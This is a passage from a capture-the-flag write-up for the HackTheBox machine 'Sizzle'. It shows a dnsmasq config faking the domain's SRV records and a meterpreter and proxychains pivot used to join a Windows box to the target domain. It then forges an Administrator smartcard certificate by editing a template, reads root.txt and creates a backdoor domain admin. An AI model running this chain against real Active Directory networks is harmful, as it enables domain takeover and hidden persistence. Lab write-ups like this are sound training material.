/etc/dnsmasq.conf
addn-hosts=/etc/dnsmasqhosts no-hosts auth-zone=/htb.local auth-server=/htb.local/192.168.x.y srv-host=_ldap._tcp.HTB.LOCAL,sizzle.htb.local,389 srv-host=_ldap._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,389 srv-host=_ldap._tcp.dc._msdcs.htb.local,sizzle.htb.local,389 srv-host=_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.HTB.LOCAL,sizzle.htb.local,389 srv-host=_ldap._tcp.pdc._msdcs.HTB.LOCAL,sizzle.htb.local,389 srv-host=_ldap._tcp.gc._msdcs.HTB.LOCAL,sizzle.htb.local,3268 srv-host=_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.HTB.LOCAL,sizzle.htb.local,3268 srv-host=_gc._tcp.HTB.LOCAL,sizzle.htb.local,3268 srv-host=_gc._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,3268 srv-host=_kerberos._tcp.HTB.LOCAL,sizzle.htb.local,88 srv-host=_kerberos._udp.HTB.LOCAL,sizzle.htb.local,88 srv-host=_kerberos._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,88 srv-host=_kerberos._tcp.dc._msdcs.HTB.LOCAL,sizzle.htb.local,88 srv-host=_kpasswd._tcp.HTB.LOCAL,sizzle.htb.local,464 srv-host=_kpasswd._udp.HTB.LOCAL,sizzle.htb.local,464
Resources: List of the SRV records, how the locator process works. I am assuming that the standard name for the site was used – Default-First-Site-Name – which is confirmed by testing the record with nslookup as amanda, directly on sizzle. I omit the record containing the domain GUID though that can be found somewhere in AD (AD Sites and Services or adsiedit.msc).
I discovered some of the ports and records I had missed step by step, by sniffing the traffic on unsuccessful domain joins and net use attempts. For example, having received the info about the proper logon server, the client send an LDAP query over UDP 389 – easy to miss as an important port to be forwarded.
Joining a Windows client to the htb.local domain [>> Contents]
The victim client is a physical Windows 7 box. Redirecting the crypto token over RDP did work as well as connecting USB on a Windows VM – but I did not want to risk anything and rather use a physical USB connection.
On this Windows box I configure the internal IP address of Kali box as the only DNS server. dnsmasq returns all queries for the htb.local domain, and it also forwards other DNS queries to the internet.
I test with some of the SRV records (IP obfuscated):
nslookup Default Server: sizzle.htb.local Address: 192.168.x.y > sizzle.htb.local Server: sizzle.htb.local Address: 192.168.x.y Name: sizzle.htb.local Address: 192.168.x.y > set query=SRV > _kerberos._tcp.dc._msdcs.HTB.LOCAL Server: sizzle.htb.local Address: 192.168.x.y _kerberos._tcp.dc._msdcs.HTB.LOCAL SRV service location: priority = 0 weight = 0 port = 88 svr hostname = sizzle.htb.local sizzle.htb.local internet address = 192.168.x.y >
For completeness: I also add an LMHOSTS file for the domain HTB, and could thus see WINS-like names with nbtstat – but this is definitely not suffcient to locate the domain.
I join the machine to the domain using the GUI / Properties of My Computer, change computer name or domain. Enter the new domain:
Enter amanda’s credentials – she can add her box to the domain:
Welcome!
In parallel, I can check in the other Windows PC – in the PSSession – that my test machine has indeed been added to the domain!
[sizzle.htb.local]: PS C:\Users\amanda\Documents> get-adcomputer -filter * DistinguishedName : CN=SIZZLE,OU=Domain Controllers,DC=HTB,DC=LOCAL DNSHostName : sizzle.HTB.LOCAL Enabled : True Name : SIZZLE ObjectClass : computer ObjectGUID : a4f7617b-9228-40b2-9e14-5b3aedb489bd SamAccountName : SIZZLE$ SID : S-1-5-21-2379389067-1826974543-3574127760-1001 UserPrincipalName : DistinguishedName : CN=TESTPC,CN=Computers,DC=HTB,DC=LOCAL DNSHostName : Enabled : True Name : TESTPC ObjectClass : computer ObjectGUID : 277cd1c8-0fd1-4816-a63e-bb0653c0ee59 SamAccountName : TESTPC$ SID : S-1-5-21-2379389067-1826974543-3574127760-3102 UserPrincipalName : [sizzle.htb.local]: PS C:\Users\amanda\Documents>
Having recovered from the shock that this actually worked, I reboot the Windows 7 box and logon as amanda to the domain (and the PC) with her user name and password!
On the Kali box proxychains shows extensive communication over ports 88, 139, 445, 389,…, like this:
... |S-chain|-<>-127.0.0.1:8088-<><>-10.10.10.103:445-<><>-OK |S-chain|-<>-127.0.0.1:8088-<><>-10.10.10.103:88-<><>-OK ...
Summary of the solution so far [>> Contents]
As amanda, I confirm that could again run the MMCs that I already used before on the Windows attack DC – yes, I can again edit certificate templates and I can also see one more computer in AD Users and Computers :-)
- Start hackthebox VPN on Kali.
- Get a default User certificate for amanda once. It is persistent and will last until its or the CA’s expiry, not affected by box reset.
- Forward WinRM ports to Windows box 1, start WinRM session.
- Start a simple shell, from there a meterpreter shell.
- Start a socks proxy, and route traffic through the meterpreter session.
- Forward all ports for logon (except DNS) from Kali to your test network using proxychains socat.
- Setup dnsmasq on Kali as fake htb.local server, host all SRV records.
- On Windows box 2, configure your Kali’s internal IP as the only DNS server.
- Join Windows box 2 to the domain htb.local as HTB\amanda
- Logon to Windows box 2 as amanda
- Edit the certificate template SSL to include required EKUs.
- Prepare a CSR with the admin’s names.
- Submit the file at /certsrv as amanda.
- Import the certificate, export key and cert to a PFX, import it to a smartcard.
Finally: Using the Administrator’s token! [>> Contents]
Plug in the token and try net use! The smart card prompts for the PIN, and finally connects to c$ successfully!
C:\hackthebox>net use \\sizzle.htb.local\c$ /smartcard Reading smart cards........ The following errors occurred reading the smart cards on the system: No card on reader 2 No card on reader 3 No card on reader 4 No card on reader 5 Using the card in reader 1. Enter the PIN: The command completed successfully. C:\hackthebox>dir \\sizzle.htb.local\c$ Volume in drive \\sizzle.htb.local\c$ has no label. Volume Serial Number is 9C78-BB37 Directory of \\sizzle.htb.local\c$ 03.07.2018 17:22 <DIR> Department Shares 02.07.2018 22:29 <DIR> inetpub 02.12.2018 04:56 <DIR> PerfLogs 26.09.2018 06:49 <DIR> Program Files 26.09.2018 06:49 <DIR> Program Files (x86) 11.07.2018 23:59 <DIR> Users 06.05.2019 15:20 <DIR> Windows 0 File(s) 0 bytes 7 Dir(s) 10.516.963.328 bytes free C:\hackthebox>type \\sizzle.htb.local\C$\users\administrator\desktop\root.txt 91c584************************** C:\hackthebox>
\o/ \o/
As amanda I start a command line session as Administrator:
runas /smartcard cmd
Again the token asks for the PIN, and I finally have a shell!
\o/ \o/ \o/
Creating a (not really stealthy) backdoor admin [>> Contents]
I can now create another domain admin – I don’t even have to bother with powershell or net use as I could start any GUI tool from directly from that shell, e.g.
C:\Windows\system32\dsa.msc
Create a Test OU container and a Test User within in:
Add the user to some interesting groups:
Switch the user and logon as HTB\testuser. Now I have my own domain admin desktop!